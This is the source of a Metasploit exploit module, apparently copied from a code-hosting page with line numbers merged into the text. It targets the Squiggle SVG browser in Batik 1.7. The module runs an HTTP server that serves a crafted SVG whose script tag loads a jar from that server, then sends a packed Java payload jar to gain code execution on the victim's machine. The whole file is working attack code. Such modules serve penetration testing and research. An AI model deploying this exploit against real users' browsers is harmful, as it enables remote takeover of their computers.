Path: blob/master/modules/exploits/multi/misc/batik_svg_java.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => "Squiggle 1.7 SVG Browser Java Code Execution",15'Description' => %q{16This module abuses the SVG support to execute Java Code in the17Squiggle Browser included in the Batik framework 1.7 through a18crafted SVG file referencing a jar file.1920In order to gain arbitrary code execution, the browser must meet21the following conditions: (1) It must support at least SVG version221.1 or newer, (2) It must support Java code and (3) The "Enforce23secure scripting" check must be disabled.2425The module has been tested against Windows and Linux platforms.26},27'License' => MSF_LICENSE,28'Author' => [29'Nicolas Gregoire', # aka @Agarri_FR, Abuse discovery and PoC30'sinn3r', # Metasploit module31'juan vazquez' # Metasploit module32],33'References' => [34['OSVDB', '81965'],35['URL', 'http://www.agarri.fr/blog/']36],37'Payload' => {38'Space' => 20480,39'BadChars' => '',40'DisableNops' => true41},42'DefaultOptions' => {43'EXITFUNC' => 'thread'44},45'Platform' => %w{java linux win},46'Targets' => [47[48'Generic (Java Payload)',49{50'Arch' => ARCH_JAVA,51}52],53[54'Windows Universal',55{56'Arch' => ARCH_X86,57'Platform' => 'win'58}59],60[61'Linux x86',62{63'Arch' => ARCH_X86,64'Platform' => 'linux'65}66]67],68'Privileged' => false,69'DisclosureDate' => '2012-05-11',70'DefaultTarget' => 0,71'Notes' => {72'Reliability' => UNKNOWN_RELIABILITY,73'Stability' => UNKNOWN_STABILITY,74'SideEffects' => UNKNOWN_SIDE_EFFECTS75}76)77)78end7980def on_request_uri(cli, request)81agent = request.headers['User-Agent']82jar_uri = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource83jar_uri << "/#{rand_text_alpha(rand(6) + 3)}.jar"84rand_text = Rex::Text.rand_text_alphanumeric(rand(8) + 4)8586if request.uri =~ /\.jar$/87paths = [88[ "Exploit.class" ],89[ "Exploit$1.class"],90[ "META-INF", "MANIFEST.MF"]91]9293p = regenerate_payload(cli)9495jar = p.encoded_jar96paths.each do |path|971.upto(path.length - 1) do |idx|98full = path[0, idx].join("/") + "/"99if !(jar.entries.map { |e| e.name }.include?(full))100jar.add_file(full, '')101end102end103104fd = File.open(File.join(Msf::Config.data_directory, "exploits", "batik_svg", path), "rb")105data = fd.read(fd.stat.size)106jar.add_file(path.join("/"), data)107fd.close108end109110print_status("#{cli.peerhost} - Sending jar payload")111send_response(cli, jar.pack, { 'Content-Type' => 'application/java-archive' })112113elsif agent =~ /Batik/114svg = %Q|115<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">116<script type="application/java-archive" xlink:href="#{jar_uri}"/>117<text>#{rand_text}</text>118</svg>119|120121svg = svg.gsub(/\t\t\t/, '')122print_status("#{cli.peerhost} - Sending SVG")123send_response(cli, svg, { 'Content-Type' => 'image/svg+xml' })124125else126print_error("#{cli.peerhost} - Unknown client request: #{request.uri.inspect}")127end128end129end130131132